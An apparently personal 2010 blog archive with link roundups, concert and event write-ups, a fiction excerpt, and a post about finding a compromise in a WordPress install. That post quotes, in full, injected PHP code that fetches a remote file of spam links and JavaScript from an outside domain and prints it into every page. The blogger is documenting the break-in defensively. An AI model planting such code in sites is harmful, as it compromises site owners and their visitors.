Irrsinn.net

Quasi-daily linkage

Lissa — Tue, 09 Mar 2010 18:00:10 +0000

10 Usability Crimes You Really Shouldn’t Commit – Nice and easy list to follow. I fixed a silly problem on my site this morning courtesy of the reminder.
Clients From Hell : The client calls around 9 PM on a Saturday… – “[very angry] I am reading your email in disbelief. You are the webmaster – how can there be an aspect of our website that you have no control over?”
Why You Can’t Work at Work | Jason Fried | Big Think – This is a great video on office workspaces. As an aside, Jason Fried's voice and style of talking remind me a whole lot of Dane Cook.
Cupid’s Hunt, 2010: Love Me On The One – EJ Flavors – So what if I'm three weeks late to the Valentine's Day party? It's a very nice mix of music. I really liked Jose James's "Love Conversation".
Slaying relational dragons – Great piece on an appropriate use of document DBs. I really could have used this about a year ago for a ground-up project I did at work that had ridunkulous queries. The comments have great discussion of OLTP vs OLAP vs. Doc DB and whether Ayende's approach is an anti-pattern.

I’ll be damned – more WP trouble

Lissa — Tue, 09 Mar 2010 14:56:49 +0000

I was fixing a webcomic issue on Greg’s blog, and I’ll be damned if from one minute to the next, it didn’t suffer from an index.php injection, too. This is weird as hell. A bunch of spurious content appeared on his homepage, although clicking through to those posts showed the correct content.

It may be time to look for alternative blagging software. Unfortunately, there are a lot of nice features that I use in WP.

They Might Be Giants. Maybe.

Lissa — Tue, 09 Mar 2010 12:41:53 +0000

I got to see them last weekend in Hotlanta, GA. Pretty good show, although it had a more “indie” feel than I was expecting. I guess Greg’s idolization of them leads me to think of them as a fairly major/big-label group, which they aren’t.

They put on a good show, even though I’m never a fan of a performer looking bored as a way to look “cool”, which the accordion guy pulled. Dude, get crunk. You play an accordion.

Greg and I missed JoCo’s opening act due to some stupid traffic in South Carolina, but I should get to see him when I go to the Charlotte version of the concert this Wednesday with Nathan and Michael.

While Greg’s off gallivanting around in San Fran, I’m going to be seeing two of his favorite musicians perform.

WordPress PHP injection?

Lissa — Tue, 02 Mar 2010 12:24:31 +0000

I just found a creepy case of injection in my index.php file. I noticed this morning that my homepage was throwing a “headers already sent” message pointing to index.php, line 10 when it wasn’t cached by Supercache. A reload of the page cleaned it up. But my RSS feed (which currently goes through Feedburner) was also trashed, and /feed wasn’t redirecting. All with the same error. Disabling Supercache fixed the homepage warning, but not the feed.

Being PHP awesome, I checked index.php for trailing whitespace, and found this snippet of code above the standard WordPress code:

if (extension_loaded("curl")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, "http://bljatdinnnnnnnnnna.net/forum.txt"); $r = curl_exec($ch); curl_close($ch); } else { $r=implode("",file("http://bljatdinnnnnnnnnna.net/forum.txt")); } if($r) print $r; // THIS IS LINE 10! ?>

That’s a problem. That forum file is, as you might expect, a crap ton of links and some JavaScript.

A few things to note:

My SSH/bash history is complete and untouched. That is, I can see back for weeks, and all the commands are mine. So it doesn’t seem to be that sort of break-in.
I just upgraded to WP 2.9.2 yesterday through the admin console. Likely culprit? Probably.

Can’t say for sure what it was, since I didn’t do more than a cursory check after I upgraded. The homepage would have been cached, so I wouldn’t have seen the warning there.

I suppose I should report this.

Dreamworlds

Lissa — Tue, 02 Mar 2010 03:39:25 +0000

A snippet of what seems to be a really good video on the “dreamworld” of modern music videos:

Von Von Von

Lissa — Sun, 28 Feb 2010 18:06:05 +0000

This guy’s website seems to be down, but this Apollo video of him is great:

Note that he’s not a singer, he’s an entertainer.

“Breached defenses” posted

Lissa — Sat, 27 Feb 2010 17:00:35 +0000

Back to Witches this week for “Breached defenses“:

Hardi blinked. “I think I’m done here,” she muttered as she stood with her tray. “Have a good day, Dr. Yuk.”

“Robert,” he said around another mouthful of food, “and it really helps if you soften the ‘u’. Make it just a bit more like ‘yook’ than ‘yuck’.”

Hardi looked down at him. “Yuk,” she said, trying it out as he suggested.

“Yup,” he said with a nod. “See, it’s much less interesting that way. You’ll be bored with ‘Yuk’ and onto ‘Robert’ soon.” He grinned impishly.

This is part three of the Witches series.

Quasi-daily linkage

Lissa — Fri, 26 Feb 2010 23:00:23 +0000

Coding Horror: The Non-Programming Programmer – Unfortunately, I’ve worked with a programmer who truly could not program, and it wasn’t pleasant. He talked a decent game and was crunk about technology, but he couldn’t bang out solutions to problems, and we all paid for it. That said, I’m in the middle of Seth Godin’s “Linchpin”, and while if you’re looking for a programmer, you should screen for that, rapport and general intelligence are pretty damn important. Also: I really like Noahlz’s February 22, 2010 6:48 PM comment in that thread.
Nice process, but what about the engineering bits? – "The major issue is in focusing so much effort and time on project management with what amounts to willful ignorance of the technical and engineering practices will inevitably leads to disaster."
Bibliobitch: The Girl Who Fell From the Sky | Bitch Magazine – This book sounds amazing. Definitely adding it to my list of to-reads.
YouTube – Boy Sees A Lobster For The First Time! – "Wow!" Very cute. GPupBoop thinks this is how I'd respond to seeing a lobster, too. …Ma-a-aybe…
A Showcase of Workstations that’ll Make You Jealous | Inspiration – Gorgeous stuff here.

Twitter and Facebook and Blags, oh my!

Lissa — Fri, 26 Feb 2010 04:10:02 +0000

I managed to attend a great gem of a group gathering this evening — the first 2010 Carolina Girl Geek Dinner. I hadn’t heard of them before I got word from Diona yesterday, who I had the joy of meeting in person, along with her colleague Tessa.
The three speakers for the night covered the production and importance of “social capital”, the creation of a personal (or company) brand through online presence, and (from a Dell rep) a really sweet iSCSI SAN system Dell is selling.

No, I know next to nothing about that level of sysadmin. But it was awesome when he started pulling out disks, power supplies, and controllers from the SAN, and the video on-screen kept playing without batting an eyelash. I took notes, too, because you never know when stuff like that will come up.

The social networking aspects have set wheels in motion in my mind. Angela Benton of Black Web 2.0 spoke about the creation of a personal brand — a unification of your web presence (LinkedIn, Twitter, blagoweb, Facebook) to create a single “you”. So that the “you” on LinkedIn is the same “you” on Facebook, etc. There’s a tough line to draw there in terms of how filtered, dry, and unreal you want to be in creating that presence. How afraid are you of being Dooced? How much of your personal brand will you share/give/overlap with your company’s brand, especially if you aren’t a major stakeholder in it?

(There was actually a reference to Doocing tonight. I hadn’t heard that in a couple of years — probably back when I let dooce.com slip through my RSS reader’s cracks.)

It’s funny that this unification was talked about tonight. Just this morning, I struggled with the decision to move my online library of books from LibraryThing to Goodreads. Well, not move, but copy my collection over. I want a way to unify my web presence — right now, I have the blag posting to LJ and to Twitter and Facebook. Goodreads can holla at Twitter (which LibraryThing couldn’t) and work on the iWone (which LibraryThing couldn’t do effectively). I don’t mind multiple services, but I hate duplicating my effort (although maybe I’ll build an Master Manager that lets me manage them all from one interface).

I haven’t looked into options yet, but I want to be able to post book reviews here on the blag and have them crosspost on Goodreads (which LibraryThing didn’t expose an API for). I want Goodreads on LinkedIn instead of the Amazon reading list. In fact, I haven’t been pushing any content to LinkedIn, really, because I felt it should be this super-serious, über-professional profile instead of accurately representing my skills and interests, which range far and wide from being a code monkey or even a PM. Silly me. When is boring ever interesting?

Anita Blanchard of UNCC spoke at the dinner tonight about the growth of strong and weak interpersonal connections through old and new internet social interactions. MUDs and MOOs versus Facebook and Twitter. She touched on the size of people’s “strong” network — the nearly-daily people that you get the most support from — and the “weak” network, the supposedly 1000+ folks that you’re acquainted with but aren’t close to. Food for thought; I love that there are people researching the sociological and psychological aspects of this stuff.

As the cap to the evening, there was a giveaway of Dell-donated loot, including Windows 7, Office 2007, and a few books. My name got called, and I got something fun and esoteric: an Active Directory reference book. Don’t know what I’ll use it for, but I do know that I’m so often annoyed by the myriad of logins I have to manage at work that I may read up on the auth components just for giggles.

I don’t think I’ll become a social networking nut, but making the name “Melissa Avery” a bit more cohesive (and nixxing “Lissa”, perhaps) is probably worth my while to do now.

Quasi-daily linkage

Lissa — Thu, 25 Feb 2010 18:00:54 +0000

Facebook: just don’t understand –
Yelp Accused of Extortion | Threat Level | Wired.com – I don't use sites like Yelp very often, but I have to admit that this is a pretty clever scam that they seem to be running. They've probably gotten away with it for a while if they're actually doing it.
What We Learned from the SuperBowl Ads – The Pursuit of Harpyness – The good kind of snarky. "Women and Doritos are of equal value, to be coveted by some men (skeevy would-be boyfriends) and protected by others (aw, cute little boys!), who are their rightful owners."
Amazing Alternative Interfaces That Will Change Our Lives | Fuel Your Interface – I find BumpTop and other desktop/shell replacements interesting, but I don't use my desktop enough to make things like that worthwhile. I always search for my apps or docs. I want to get my hands on some of the other interfaces, though.
BitTorrent visualization in processing.js – Really, really cool JavaScript visualization of BitTorrent that absolutely slaughters Firefox's responsiveness once it's at about 10 seeds and 5 peers.